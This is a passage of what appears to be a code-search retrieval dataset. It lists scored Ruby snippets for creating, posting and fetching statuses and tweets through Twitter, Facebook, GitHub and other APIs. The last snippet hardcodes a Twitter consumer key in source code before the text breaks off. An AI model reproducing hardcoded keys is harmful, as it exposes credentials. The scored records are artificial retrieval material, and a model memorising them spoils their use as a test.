"title": "" }, { "docid": "7d2d1e57d946dd20b7a38e2b637c28c8", "score": "0.51773626", "text": "def make_facebook_post!(params = {})\n call_api(\"status/update/#{secret}/#{token}\", params)\n end", "title": "" }, { "docid": "943783088daf7ccfd24df793f293b9b3", "score": "0.5143839", "text": "def create\n \n # API Status Update - Basic Authentication\n if !session[\"user_id\"]\n authenticate_or_request_with_http_basic do |username, password|\n if request.url.index('localhost')\n user = User.find(:first, :conditions => ['username LIKE ?', username.strip])\n else\n user = User.find(:first, :conditions => ['username ILIKE ?', username.strip])\n end\n\n if user && user.authenticate(password)\n session[\"user_id\"] = user.id\n end\n end\n end\n \n\n respond_to do |format|\n \n if params[:status] and params[:status][:message] \n postmessage = params[:status][:message]\n elsif params[:message] \n postmessage = params[:message]\n end\n \n if session[\"user_id\"] and postmessage\n\n @status = Status.new \n @status.user_id = session[\"user_id\"]\n @status.message = postmessage \n @status.save\n \n @activity = Activity.new\n @activity.user_id = session[\"user_id\"]\n @activity.status_id = @status.id\n @activity.council_id = @council.id\n @activity.save\n \n # Check if message includes a mention \n txtcall = @status.message.gsub(\"@\", \"\")\n txtarray = txtcall.split(\" \")\n if request.url.index('localhost')\n @mention = User.find(:first, :conditions => ['username LIKE ?', txtarray[0]])\n else\n @mention = User.find(:first, :conditions => ['username ILIKE ?', txtarray[0]])\n end\n \n if @mention and @mention.email and @mention.allowemail != false\n begin\n MentionMailer.alerter(session[:username], @mention.username, session[:image], @mention.email, @activity.id.to_s).deliver\n rescue\n end\n end \n \n # Tweet\n if session['access_token'] and params[:status][:twitter] == \"1\"\n @client.update(@status.message)\n end \n \n # FB\n if session['fbtoken'] and params[:status][:facebook] == \"1\"\n RestClient.post 'https://graph.facebook.com/' + session['fbid'] + '/feed', :access_token => session['fbtoken'], :message => @status.message\n end\n \n \n format.html { redirect_to @status, notice: 'Status was successfully created.' }\n # format.json { render json: @status, status: :created, location: @status }\n format.js { render :action => 'create.js.coffee', :content_type => 'text/javascript'}\n format.json { render :json => @status}\n else\n format.html { render action: \"new\" }\n format.json { }\n end\n end\n end", "title": "" }, { "docid": "162ff2fc94e9fd724160ed15d2cea491", "score": "0.5130558", "text": "def statuses_911_list\n payload[:statuses].nil? ? nil : payload[:statuses]\n end", "title": "" }, { "docid": "17bca780080c8b8e7fabc75032a9248d", "score": "0.5122607", "text": "def update_status( status ) # status = { :message => 'new post on ruby', :url => 'http://www.ruby-lang.com' }\n message = status[:message]\n short_url = ::ShortUrl::Client.new.short_url( status[:url] )\n if message.nil? or message.empty?\n posted = shorted unless ( short_url.nil? or short_url.empty? )\n else\n posted = message\n posted = posted + ': ' + short_url unless ( short_url.nil? or short_url.empty? )\n end\n if posted.nil?\n { :error => 'Invalid status.'}\n else\n call( 'statuses/update', { :status => posted } , :post )\n end\n end", "title": "" }, { "docid": "d9266a66a5b037d428344d843bbb6849", "score": "0.5100515", "text": "def create\n @status = current_user.statuses.new(params[:status])\n\n respond_to do |format|\n if @status.save\n current_user.create_activity(@status, 'created')\n format.html { redirect_to profile_path(current_user), notice: 'Status was successfully created.' }\n format.json { render json: @status, status: :created, location: @status }\n else\n format.html { render action: \"new\" }\n format.json { render json: @status.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eb7f4717813900e13c52198c33c25258", "score": "0.5098289", "text": "def build_statuses(url)\n @statuses = {}\n @failure_found = false\n open(url) do |f|\n json = JSON.parse(f.read)\n json['results'].each do |result|\n @statuses.key?(result['dockertag_name']) || @statuses[result['dockertag_name']] = result['status']\n @failure_found = true if @statuses[result['dockertag_name']] < 0\n end\n end\n @statuses\n end", "title": "" }, { "docid": "4bc05cfd1d80c0ad3b9c7542b499b3bf", "score": "0.5094033", "text": "def create\n @user = current_user\n @status = @user.statuses.build(status_params)\n\n #@status = Status.new(status_params)\n respond_to do |format|\n if @status.save\n format.html { redirect_to @status, notice: 'Status was successfully created.' }\n format.json { render :show, status: :created, location: @status }\n else\n format.html { render :new }\n format.json { render json: @status.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "39a3b7304ceecf4990b6c74be5ffaad5", "score": "0.5087535", "text": "def send_project_status(project, url, hash, status, description)\n path = @path_prefix + \"/statuses/#{hash}\"\n context = project.github_status_context\n dict = {\n target_url: url,\n state: status,\n description: description,\n context: context\n }\n make_request(path, false, dict)\n end", "title": "" }, { "docid": "492d46885a8d9430045c297fd0eb8ee3", "score": "0.5063981", "text": "def stats_users\n call_path = \"status/userTypes\"\n request = \"\"\n data = build_post_data(request)\n perform_post(build_url(call_path), data)\n end", "title": "" }, { "docid": "363cb7784554caa6ebf5862ace7fe96a", "score": "0.50636625", "text": "def create_twit(twit)\n RestClient.post configuration.base_url + '/twits',\n { twit: twit }.to_json,\n content_type: :json,\n accept: :json\n end", "title": "" }, { "docid": "7943fc2eb17e07028c5f6b42bb7d89c6", "score": "0.50569797", "text": "def statuses; end", "title": "" }, { "docid": "b7c356e7a3eefc4d1b02167310194f5d", "score": "0.50530934", "text": "def update_statuses(opts = {})\n response = Crocodoc.connection.get 'document/status',\n :uuids => @documents.values.map{|doc| doc.uuid }.join(',')\n response.body.each do |resp|\n @documents[resp['uuid']].status = resp\n end\n end", "title": "" }, { "docid": "f5124d0d7438ea194d00b212bfa7b4cc", "score": "0.5033728", "text": "def create\n @reqstatus = Reqstatus.new(reqstatus_params)\n\n respond_to do |format|\n if @reqstatus.save\n format.html { redirect_to @reqstatus, notice: 'Reqstatus was successfully created.' }\n format.json { render action: 'show', status: :created, location: @reqstatus }\n else\n format.html { render action: 'new' }\n format.json { render json: @reqstatus.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9da87576cf20e76fe5da452525ec06f4", "score": "0.50279284", "text": "def create\n respond_to do |format|\n begin\n @tweet = TweetApp::ClientContext.status(:post, params[:text])\n flash[:notice] = 'Tweet was successfully created.'\n format.html { redirect_to tweet_url(@tweet) }\n format.json { head :created, :location => tweet_url(@tweet) }\n format.xml { head :created, :location => tweet_url(@tweet) }\n rescue Twitter::RESTError => re\n handle_rest_error(re, format, 'new')\n end\n end\n end", "title": "" }, { "docid": "c8c652c1340c223de9da83238ae0cacf", "score": "0.5018644", "text": "def send_status\n remote_request Net::HTTP::Post, \"api/status/#{self.name}\", { :status => JSON.generate(status) }\n rescue StandardError => e\n log \"Sending status to #{@config[:monitor_url]} failed\"\n log \"Error: #{e}\"\n end", "title": "" }, { "docid": "7af80a9f35a14a1abc6b6e3b2fc3db09", "score": "0.5018237", "text": "def statuses\n api.get('status')\n end", "title": "" }, { "docid": "a1047b07fe8de6f16b18642c5c29c935", "score": "0.5007742", "text": "def index\n @request_statuses = RequestStatus.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @request_statuses }\n end\n end", "title": "" }, { "docid": "cdfcc30bebda2edae0391b8686c68f03", "score": "0.5006861", "text": "def statusesReceived_forRequest(statuses,identifier)\n\t\tputs \"statusesReceived_forRequest\"\n\t\tself.statuses = statuses\n\tend", "title": "" }, { "docid": "9aa0134f72842417b6e36187c1f3f7ce", "score": "0.4999796", "text": "def update_status\n if current_user.has_twitter_oauth?\n @T_OAUTH = TwitterOAuth::Client.new(\n :consumer_key => TWITTER_KEY,\n :consumer_secret => TWIITER_SECRET,\n :token => current_user.twitter_account.token,\n :secret => current_user.twitter_account.secret \n )\n\n if @T_OAUTH.authorized? and @T_OAUTH.update(params[:status])\n flash[:notice] = \"Your tweet has been sent\"\n else\n flash[:notice] = \"Sorry ! Your tweet failed to sent, try later !\"\n end\n else\n flash[:notice] = \"You dont have twitter account with oauth token, please authorize myapp in your twitter !\"\n end\n\n redirect_to :action => 'index'\n\n end", "title": "" }, { "docid": "70d862e6436878737aa181204bfc115c", "score": "0.49983242", "text": "def test_key_containing_status\n server_run app: ->(env) { [200, {'Teapot-Status' => 'Boiling'}, []] }\n data = send_http_and_read \"GET / HTTP/1.0\\r\\n\\r\\n\"\n\n assert_match(/HTTP\\/1.0 200 OK\\r\\nTeapot-Status: Boiling\\r\\nContent-Length: 0\\r\\n\\r\\n/, data)\n end", "title": "" }, { "docid": "f7d114bbe1c97d7859bcbf70db326b24", "score": "0.49829516", "text": "def get_redemption_request_statuses\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/utilities/redemption-request-statuses'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'Content-Type' => Configuration.content_type\r\n }\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.get _query_url, headers: _headers\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) if not (_context.response.raw_body.nil? or _context.response.raw_body.to_s.strip.empty?)\r\n return decoded\r\n end", "title": "" }, { "docid": "83b868edd854d8fbdd461c330df33066", "score": "0.4979035", "text": "def status_params\n params.require(:status).permit(:counted)\n end", "title": "" }, { "docid": "8cc09ea037396bfd5c48361735954920", "score": "0.49761814", "text": "def statuses=(statuses)\n assert_unloaded\n @statuses = Array(statuses)\n end", "title": "" }, { "docid": "930e72a5a53a18df28e3ef6013582525", "score": "0.49689716", "text": "def create\n user = user_from_token\n @tweet = user.tweets.new()\n @tweet.tweet = params[:tweet]\n if @tweet.save\n render :json => @tweet, :status => :created\n else\n render :json => @tweet.errors, :status => :unprocessable_entity\n end\n end", "title": "" }, { "docid": "6638dc4bde7c795d532c107831407166", "score": "0.49605817", "text": "def reqstatus_params\n params.require(:reqstatus).permit(:reqstatusname)\n end", "title": "" }, { "docid": "33f217c3a41465a74baf6ce7b0587ed3", "score": "0.49550226", "text": "def print_timeline(response)\n \n tweets = response[\"statuses\"]\n \n for tweet in tweets\n puts tweet[\"user\"][\"screen_name\"]\n puts tweet[\"text\"]\n end\n \nend", "title": "" }, { "docid": "3daee33268a95cd2476262d111643cdb", "score": "0.4952977", "text": "def create_starting_statuses\n new_status_attributes = { :public_title => \"New\",\n :application_status_type => ApplicationStatusType.find_or_create_by_name(\"new\"),\n :disallow_user_edits => 0,\n :disallow_all_edits => 0,\n :allow_application_edits => 1 }\n statuses.create(new_status_attributes)\n in_progress_status_attributes = { :public_title => \"In Progress\",\n :application_status_type => ApplicationStatusType.find_or_create_by_name(\"in_progress\"),\n :disallow_user_edits => 0,\n :disallow_all_edits => 0,\n :allow_application_edits => 1 }\n statuses.create(in_progress_status_attributes)\n submitted_status_attributes = { :public_title => \"Submitted\",\n :application_status_type => ApplicationStatusType.find_or_create_by_name(\"submitted\"),\n :disallow_user_edits => 1,\n :disallow_all_edits => 0,\n :allow_application_edits => 0 }\n statuses.create(submitted_status_attributes)\n end", "title": "" }, { "docid": "1cfaad94bedcaf1c33a94c4cecce526b", "score": "0.49363267", "text": "def tweet_from_api\n @tweet_api = User.find(2).tweets.create(tweet_params)\n render json: @tweet_api\n end", "title": "" }, { "docid": "8f43376a791424eb1ff28ae7ac48854f", "score": "0.49204648", "text": "def generate_tweet\n raw_tweet = raw['status']\n JsonTweet.new(raw_tweet, twitter_user_id).generate_tweet if raw_tweet\n end", "title": "" }, { "docid": "faf7e6666dee4c96d694a313197ddc1a", "score": "0.4905911", "text": "def update_status!( status , in_reply_to_status_id = nil )\n\t\tif in_reply_to_status_id\n\t\t\tresponse = access_token.post('/statuses/update.json', { :status => status, :in_reply_to_status_id => in_reply_to_status_id })\n\t\telse\n\t\t\tresponse = access_token.post('/statuses/update.json', { :status => status })\n\t\tend\n\t\tcase response\n\t\twhen Net::HTTPSuccess\n\t\t\tmessage=JSON.parse(response.body)\n\t\t\traise TwitterOauth::UnexpectedResponse unless message.is_a? Hash\n\t\t\tmessage\n\t\telse\n\t\t\traise TwitterOauth::APIError\n\t\tend\n\trescue => err\n\t\tputs \"Exception in update_status!: #{err}\"\n\t\traise err\n\tend", "title": "" }, { "docid": "39a4f8719c048dd2d06984abf51fcbcd", "score": "0.489495", "text": "def update_status(new_stat)\n\n attrs = ActionController::Parameters.new({status: new_stat, req_to_del_at: nil})\n self.update_attributes(attrs.permit(Team::PERMIT_BASE))\n end", "title": "" }, { "docid": "c422ddbb498e8748af9d10867a526f18", "score": "0.48946646", "text": "def post_status(scode='200')\n ts = Time.zone.now.strftime(\"%Y-%m-%d_%H:%M:%S\")\n if scode =='200'\n text_msg = \"ThredUP site is back UP - status code 200\"\n image_msg = \"Uptime #{ts}\"\n image_url = 'https://i.imgur.com/uF1jxol.jpg'\n else\n text_msg = \"ThredUP site is back UP - status code 200\"\n image_msg = \"Uptime #{ts}\"\n image_url = 'https://i.imgur.com/VadPR4R.png'\n end\n chan_url = Tokenz.get_channel_url\n payload = {\"text\": text_msg, \"attachments\": [{ \"text\": image_msg, \"image_url\": image_url}]}\n request_hash = {:url => chan_url, :payload => payload}\n HttpHelper.post(request_hash)\n end", "title": "" }, { "docid": "06d6799361b3bcd4ca9713002350f13c", "score": "0.48905173", "text": "def status_params\n params.require(:status).permit(:e_no, :str, :vit, :sense, :agi, :mag, :int, :will, :charm, :line, :role_id, :used_ap, :used_stp, :goodness)\n end", "title": "" }, { "docid": "a52b10fcc37a7b15a41d75d48115ee22", "score": "0.48852754", "text": "def create\n\n #player = Player.all.sample\n #game = Game.all.sample\n #tr = TweetRecord.new\n #tr.user_screen_name=\"rebeccag_dev\"\n #tr.user_twitter_id=1234567890123\n #tr.status_text=\"@c2sb #g#{game.id}p#{player.id}sFGM\"\n #Rails.logger.info \"Sending tweet #{tr.inspect}\"\n #TweetCollector.add_tweet(tr)\n ##StatisticsCollector.add_tweet(68,\"#g17p#{player.id}sFGM\")\n #Rails.logger.info \"Submitted tweet for player #{player.id} - #{player.name}\"\n #Rails.logger.info(\"Tweet log #{StatisticsCollector.get_tweet_log.last.inspect}\")\n #has_error = false\n\n\n @user_reported_statistic = UserReportedStatistic.new()\n stat_params=params[:user_reported_statistic]\n @tweet = params[:tweet]\n user_id = stat_params[:user]\n tr = TweetRecord.new\n tr.status_text=@tweet\n tr.user_id= user_id\n TweetCollector.add_tweet(tr)\n @user_reported_statistic = UserReportedStatistic.new\n\n if tr.has_error?\n @statistic_types = StatisticType.all\n @games = Game.all\n @teams = Team.all\n @players = Player.all\n @users = User.all\n tr.error_msgs.each do | x|\n @user_reported_statistic.errors.add(:tweet,x)\n end\n end\n logger.info(\"logger update_stat\")\n\n respond_to do |format|\n if tr.has_error?\n format.html { render action: \"new\" }\n format.json { render json: @user_reported_statistic.errors, status: :unprocessable_entity }\n else\n format.html { redirect_to user_reported_statistics_url, notice: 'User reported statistic was successfully created.' }\n format.json { render json: @user_reported_statistic, status: :created, location: @user_reported_statistic }\n end\n\n end\n end", "title": "" }, { "docid": "4c9a08dda8b374833d77c8656ab46f0b", "score": "0.48827913", "text": "def release_params\n params.require(:statuses_step_release).permit(:status)\n end", "title": "" }, { "docid": "bcc4d58e80497230427bcb0ff3830d71", "score": "0.48806587", "text": "def status\n get('/api/status')\n end", "title": "" }, { "docid": "96d2f8da3fa2bb639e71c4db73b75628", "score": "0.48775303", "text": "def admin_device_status_params\n params.require(:device_status).permit(:name, :status, :activity_status_id)\n end", "title": "" }, { "docid": "c4abcb636d473aaeb02c284dd5399e66", "score": "0.48752767", "text": "def postStatustoAPI(order_hash, status_hash)\n\t\t$CONFIG[:api_path] = \"/orders/update_status\"\n\t\ttmp_order_hash = Hash.new\n\t\ttracking_number = order_hash[:tracking_number].to_s\n\t\tstatus_detail = status_hash[:msg]\n\n\t\tupdate_status_hash = {\n\t\t\t:order_number\t\t\t=>\torder_hash[:order_number],\n\t\t\t:status\t\t\t\t\t\t=>\torder_hash[:status]\n\t\t}\n\t\t\n\t\tif status_hash[:status] == 0 || order_hash[:status] == 'TR'\n\t\t\tstatus_detail = \"\"\n\t\tend\n\t\t\n\t\tif order_hash[:status] == 'PF'\n\t\t\tstatus_detail = order_hash[:status_detail]\n\t\tend\n\t\t\n\t\tupdate_status_hash[:status_detail] = \"\"\t\t\n\t\tupdate_status_hash[:status_detail] = status_detail if status_detail != ''\n\t\tupdate_status_hash[:tracking_number] = tracking_number if tracking_number != ''\n\t\tpayload = 'payload='+JSON.generate(update_status_hash)\n\n\t\tbegin\n\t\t\tresponse = RestClient.post(apiAuth, payload, :accept => :json)\n\t\trescue => e\n\t\t\tstatus_hash[:status] = 1\n\t\t\torder_hash[:api_status] = 1\n\t\t\tstatus_hash[:msg] = \"couldn't connect to api\"\n\t\t\tputs \"api msg: #{e}\"\n\t\tend \n\t\t\n\t\tsleep 2\n\n\t\tif response.to_s.include?('{\"meta\":{\"status\":200,\"msg\":\"OK\"}')\n\t\t\ttmp_order_hash = JSON.parse(response)\n\t\t\torder_hash[:order_number] = tmp_order_hash[\"response\"][\"order\"][\"order_number\"].to_s\n\t\t\torder_hash[:customer_first_name] = tmp_order_hash[\"response\"][\"order\"][\"customer_first_name\"]\n\t\t\torder_hash[:customer_last_name] = tmp_order_hash[\"response\"][\"order\"][\"customer_last_name\"]\n\t\t\torder_hash[:ship_to_first_name] = tmp_order_hash[\"response\"][\"order\"][\"ship_to_first_name\"]\n\t\t\torder_hash[:ship_to_last_name] = tmp_order_hash[\"response\"][\"order\"][\"ship_to_last_name\"]\n\t\t\torder_hash[:ship_to_company] = tmp_order_hash[\"response\"][\"order\"][\"ship_to_company\"]\n\t\t\torder_hash[:customer_email] = tmp_order_hash[\"response\"][\"order\"][\"customer_email\"]\n\t\t\torder_hash[:status] = tmp_order_hash[\"response\"][\"order\"][\"status\"]\n\t\t\torder_hash[:ship_option] = tmp_order_hash[\"response\"][\"order\"][\"ship_option\"]\n\t\t\torder_hash[:ship_to_addr1] = tmp_order_hash[\"response\"][\"order\"][\"ship_to_addr1\"]\n\t\t\torder_hash[:ship_to_addr2] = tmp_order_hash[\"response\"][\"order\"][\"ship_to_addr2\"]\n\t\t\torder_hash[:ship_to_city] = tmp_order_hash[\"response\"][\"order\"][\"ship_to_city\"]\n\t\t\torder_hash[:ship_to_state] = tmp_order_hash[\"response\"][\"order\"][\"ship_to_state\"]\n\t\t\torder_hash[:ship_to_zip] = tmp_order_hash[\"response\"][\"order\"][\"ship_to_zip\"]\n\t\telse\n\t\t\tstatus_hash[:status] = 1\n\t\t\torder_hash[:api_status] = 1\n\t\t\tresponse = \"api not updated\"\n\t\tend\n\t\tputs \"api response: #{response}\"\n\tend", "title": "" }, { "docid": "0856661119b5bf4a25798e8cdbd23342", "score": "0.48730773", "text": "def post_bva_dta_decision_status_details\n issue_list = remanded_sc_decision_issues\n {\n issues: api_issues_for_status_details_issues(issue_list),\n bva_decision_date: decision_event_date,\n aoj_decision_date: remand_decision_event_date\n }\n end", "title": "" }, { "docid": "4c8d1f78e1cbb863fb30126befea28ed", "score": "0.48636875", "text": "def swit_status_params\n params.require(:swit_status).permit(:user_id, :swit_id, :status)\n end", "title": "" }, { "docid": "e95de797ef280eb0ce343e1dc23a0982", "score": "0.48634815", "text": "def tweet_params\n params.require(:tweet).permit(:status, :message, :location, :user_id)\n end", "title": "" }, { "docid": "b065d7c996115bd87f3c812692d9e36b", "score": "0.48610657", "text": "def create\n @status = Status.new(status_params)\n\n if @status.save\n render json: @status\n else\n render json: @status.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "fc50e7e028a0d22666510dfdc64c44fa", "score": "0.48591852", "text": "def show_status(status_id)\n get \"statuses/show/#{status_id}\"\n end", "title": "" }, { "docid": "af8b82b64b69b0e51c5f8083a31e7951", "score": "0.48519185", "text": "def create(account, status, opts = {})\n params = { status: status }.merge!(opts)\n resource = RESOURCE_CREATE % { account_id: account.id }\n response = TwitterAds::Request.new(account.client, :post, resource, params: params).perform\n response.body[:data]\n end", "title": "" }, { "docid": "d3fbe4c7e43487e36c09d033e07f136e", "score": "0.4845878", "text": "def mentions(params = {})\n get \"statuses/mentions\", params\n end", "title": "" }, { "docid": "f98695485e0ca3872b0fbd46948819df", "score": "0.48450264", "text": "def add_retweet(status)\n\t@tweet_db[status.retweeted_status.id] ||= {\n\t\t:original => status.retweeted_status,\n\t\t:retweets => {}\n\t}\n\t@tweet_db[status.retweeted_status.id][:retweets][status.id] = status\nend", "title": "" }, { "docid": "0e429165e3f9ecba015ce50f11f32b08", "score": "0.48312455", "text": "def set_reqdevstatus\n @reqdevstatus = Reqdevstatus.find(params[:id])\n end", "title": "" }, { "docid": "93f5cd86276ac82fd4b856b212885a52", "score": "0.48248637", "text": "def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end", "title": "" }, { "docid": "5da8b01a8777712950e9194efea77f48", "score": "0.481603", "text": "def send_to_teams_channel\n response = self.class.post(ENV['TEAMS_WEBHOOK'],\n :body => {\"text\" => \"Pincode:- #{@pincode} has some vaccine for 18-45 age group. Try booking now!\"}.to_json,\n :headers => { 'Content-Type' => 'application/json' } )\n puts response.code\n end", "title": "" }, { "docid": "be75694c18697f8c4ac67d3ccf36f98a", "score": "0.48131257", "text": "def update(attrs, user = @@default_user)\n attrs = { id: @id, project_token: @project_token }.merge(attrs)\n @attributes = send_request(\"statuses/#{attrs[:id]}\", :put) do |req|\n req.body = {\n status_object: attrs.slice(:name),\n token: attrs[:project_token],\n auth_token: user.auth_token\n }\n end\n end", "title": "" }, { "docid": "dea1f8f17dd75e7f8359cfe82592910e", "score": "0.4802952", "text": "def update_status!(user, status, in_reply_to_status_id = nil)\n self.twitagent(user.token, user.secret).update_status!(status, in_reply_to_status_id)\n\tend", "title": "" }, { "docid": "1c2a822c0ec0006ad3d38c049bdff3f3", "score": "0.48015386", "text": "def index\n @statuses = Status.all\n end", "title": "" }, { "docid": "1c2a822c0ec0006ad3d38c049bdff3f3", "score": "0.48015386", "text": "def index\n @statuses = Status.all\n end", "title": "" }, { "docid": "96dac920f49633cac82e411d5b0c6efb", "score": "0.4796557", "text": "def set_pr_status(pull_status_url,state,target_url,description)\n url = pull_status_url\n payload = {\n state: state,\n target_url: target_url,\n description: description\n }\n RestClient.post(\n url,\n payload.to_json,\n @git_headers\n )\n end", "title": "" }, { "docid": "b7aacd67ef43bb0ea586185f097a7db5", "score": "0.47745076", "text": "def status_params\n params.require(:status).permit(:name, :content, :playlist)\n end", "title": "" }, { "docid": "6cfef036c44dfc65626ee57d4b2d6089", "score": "0.4774247", "text": "def tweets(opts={})\n params = {\n :screen_name => NAME,\n :trim_user => true,\n :include_entities => true\n }.merge(opts)\n get(\"/statuses/user_timeline.json\",params)\n end", "title": "" }, { "docid": "37ea41e1b16bed18428ce5adadd911cf", "score": "0.47704312", "text": "def call_status_params\n params.require(:call_status).permit(:name)\n end", "title": "" }, { "docid": "092e73eed68f2741fb5b4aea4804f983", "score": "0.4768012", "text": "def public_timeline\n call( 'statuses/public_timeline.json' )\n end", "title": "" }, { "docid": "c7460067ffb48d73eae8a7712f0d3f87", "score": "0.47643328", "text": "def create\n @tweet = current_user.tweets.create(params[:tweet])\n respond_with(@tweet, :location => tweet_url(@tweet))\n end", "title": "" }, { "docid": "1cb7bde015617533106399413bc8064a", "score": "0.47622752", "text": "def to_usmf status\n\n\t\tusmf = USMF.new\n\t\tuser = User.new\n\n\t\tstatus = JSON.parse(status)\n\t\tif status.has_key? 'Error'\n\t\t\tlogger.error(\"tweet malformed\")\n\t\t\traise \"status malformed\"\n\t\tend\n\n\t\t#Retrieving a status from Twitter\n\t\tusmf.service = \"Twitter\"\n\t\tusmf.id = status[\"id_str\"]\n\t\t\n\n\t\tx = status[\"coordinates\"]\n\t\tunless x==nil\n\t\t\tusmf.geo = x[\"coordinates\"]\n\t\tend\n\t\t\n\t\tusmf.application = status[\"source\"]\n\t\t\n\n\t\tx = status[\"place\"]\n\t\tunless x == nil\n\t\t\tusmf.location = x[\"full_name\"] + \" , \" + x[\"country\"]\n\t\tend\n\n\t\tusmf.date = status[\"created_at\"]\n\t\tusmf.text = status[\"text\"]\n\t\tusmf.description = status[\"in_reply_to_status_id_str\"]\n\t\tusmf.likes = status[\"retweet_count\"]\n\n\t\t#Retrieving user\n\t\tx = status[\"user\"]\n\t\tunless x == nil\n\t\t\tuser.name = x[\"screen_name\"]\n\t\t\tuser.real_name = x[\"name\"]\n\t\t\tuser.id = x[\"id_str\"]\n\t\t\tuser.language = x[\"lang\"]\n\n\t\t\tunless x[\"time_zone\"] == nil and x[\"utc_offset\"] == nil\n\t\t\t\tuser.utc = x[\"time_zone\"].to_s + \" + \" + x[\"utc_offset\"].to_s\n\t\t\tend\n\n\t\t\tuser.description = x[\"description\"]\n\t\t\tuser.avatar = x[\"profile_image_url_https\"]\n\t\t\tuser.location = x[\"location\"]\n\t\t\tuser.subscribers = x[\"followers_count\"]\n\t\t\tuser.subscriptions = x[\"friends_count\"]\n\t\t\tuser.postings = x[\"statuses_count\"]\n\t\t\tuser.profile = \"https://twitter.com/#!/#{user.name}\"\n\t\t\tuser.website = x[\"url\"]\n\n\t\t\tusmf.user = user\n\t\t\tusmf.source = \"https://twitter.com/#{usmf.user.name}/status/#{usmf.id}\"\n\t\tend\n\t\t\n\n\t\tusmf.to_users = []\n\t\tusmf.links = []\n\n\t\t#Retrieving entities\n\n\t\tentities = status[\"entities\"]\n\t\tunless entities == nil\n\t\t\n\t\t#Retrieving URLs\n\n\t\t\tx = entities[\"urls\"]\n\t\t\tunless x == nil\n\t\t\t\tx.each do |item|\n\t\t\t\t\tl = Link.new\n\t\t\t\t\tl.href = item[\"url\"]\n\t\t\t\t\t\n\t\t\t\t\tusmf.links << l\n\t\t\t\tend\n\t\t\tend\n\n\t\t#Retrieving all media content\n\n\t\t\tx = entities[\"media\"]\n\t\t\tunless x == nil\n\t\t\t\tx.each do |item|\n\t\t\t\t\tl = Link.new\n\t\t\t\t\tl.title = item[\"type\"]\n\t\t\t\t\tl.thumbnail = item[\"media_url\"]\n\t\t\t\t\tl.href = item[\"url\"]\n\t\t\t\t\t\n\t\t\t\t\tusmf.links << l\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t#Retrieving hashtags\n\n\t\t\tx = entities[\"hashtags\"]\n\t\t\tunless x == nil\n\n\t\t\t\tusmf.keywords = \"\"\n\t\t\t\tx.each do |h| \n\n\t\t\t\t\tusmf.keywords += h[\"text\"] + \", \"\n\n\t\t\t\tend\n\n\t\t\tend\n\n\t\t\t#Retrieving mentions\n\n\t\t\tx = entities[\"user_mentions\"]\n\t\t\tunless x == nil\n\t\t\t\tx.each do |item|\n\t\t\t\t\ttu = ToUser.new\n\n\t\t\t\t\ttu.name = item[\"screen_name\"]\n\t\t\t\t\ttu.id = item[\"id_str\"]\n\n\t\t\t\t\tif item[\"id_str\"] == status[\"in_reply_to_user_id_str\"]\n\t\t\t\t\t\ttu.service = \"reply\"\n\t\t\t\t\telse\n\t\t\t\t\t\ttu.service = \"mention\"\n\t\t\t\t\tend\n\t\t\t\t\tunless status[\"in_reply_to_status_id_str\"] == nil\n\t\t\t\t\t\ttu.title = status[\"in_reply_to_status_id_str\"]\n\t\t\t\t\t\ttu.href = \"https://twitter.com/#{tu.name}/status/#{tu.title}\"\n\t\t\t\t\tend\n\n\t\t\t\t\tusmf.to_users << tu\n\t\t\t\tend\n\t\t\tend\n\n\t\tend\n\n\t\tusmf\n\n\tend", "title": "" }, { "docid": "fd42b3261abcc97b7dabe5b6907817d8", "score": "0.4748523", "text": "def status_params\n params.require(:status).permit(:result_no, :generate_no, :e_no, :acc_reward, :rp, :gunshot, :struggle, :reaction, :control, :preparation, :fitly, :funds, :exp)\n end", "title": "" }, { "docid": "34bf629284c97ba29946fca0a6ac2d1f", "score": "0.47376484", "text": "def parseResults( resp )\n data = JSON.parse(resp.body)\n\treturn data['statuses']\nend", "title": "" }, { "docid": "4567f91e14a85a81f48f286e6c02c7e0", "score": "0.47342634", "text": "def create_in_project(client, project: required(\"project\"), text: required(\"text\"), color: required(\"color\"), options: {}, **data)\n with_params = data.merge(text: text, color: color).reject { |_,v| v.nil? || Array(v).empty? }\n Resource.new(parse(client.post(\"/projects/#{project}/project_statuses\", body: with_params, options: options)).first, client: client)\n end", "title": "" }, { "docid": "26055a5abce77e630d9c357230dbd980", "score": "0.47314286", "text": "def response(env)\n env.trace :response_beg\n\n result_set = fetch_twitter_search(env.params['q'])\n\n fetch_trstrank(result_set)\n \n body = JSON.pretty_generate(result_set)\n\n env.trace :response_end\n [200, {}, body]\n end", "title": "" }, { "docid": "a6662c8241924da96e2faa44c2ceeee1", "score": "0.47266856", "text": "def list_timeline(list_owner_username, slug, query = {})\n perform_get(\"/#{list_owner_username}/lists/#{slug}/statuses.json\", :query => query)\nend", "title": "" }, { "docid": "470ac931e87a925cfbda6b77fa4348a2", "score": "0.4726452", "text": "def create\n s = Spooge.new()\n create_status = s.save\n n = generate_random_name\n s.name = n\n s.email = \"#{n}@gmail.com\"\n s.touch_date = DateTime.now\n s.status = STATUS[rand(STATUS.length)]\n\n resp = {:create_status => create_status, :record => s}\n render :json => resp\n end", "title": "" }, { "docid": "f5b4fcb6acab5c3d06332a3690b8cecc", "score": "0.47183457", "text": "def post_curl\n `curl -X \"POST\" -H \"Authorization: Basic #{_encode}\" -d grant_type=client_credentials https://accounts.spotify.com/api/token`\n end", "title": "" }, { "docid": "5975165e5da109c715b419a3eb0fc4d2", "score": "0.4714457", "text": "def create\n @watcher = Watcher.new(watcher_params)\n\n respond_to do |format|\n if @watcher.save\n client = Twitter::REST::Client.new do |config|\n config.consumer_key = \"1jFn305ISZq4moZsv6mYyGls4\"\n config.consumer_secret = 